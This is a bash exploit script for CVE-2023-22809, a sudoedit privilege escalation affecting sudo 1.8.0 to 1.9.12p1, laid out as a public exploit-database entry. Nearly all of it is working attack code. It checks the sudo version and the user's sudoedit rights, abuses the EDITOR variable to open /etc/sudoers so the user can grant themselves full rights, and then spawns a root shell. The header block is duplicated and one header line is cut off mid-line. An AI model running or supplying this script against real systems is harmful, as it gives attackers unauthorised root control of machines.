# Exploit Title: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: #!/usr/bin/env bash
# Exploit Title: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Git repository: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
#
# Running this exploit on a vulnerable system allows a localiattacker to gain
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root
# shell.
if ! sudo --version | head -1 | grep -qE '(1.8.*|1.9.[0-9]1?(p[1-3])?|1.9.12p1)$'
then
echo "> Currently installed sudo version is not vulnerable"
exit 1
fi
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '(root)|(ALL)|(ALL : ALL)' | cut -d ')' -f 2-)
if [ -z "$EXPLOITABLE" ]; then
echo "> It doesn't seem that this user can run sudoedit as root"
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
echo "> BINGO! User exploitable"
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$( whoami ) ALL=(ALL:ALL) ALL"
read -n 1 -s -r -p "Press any key to continue..."
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0
fi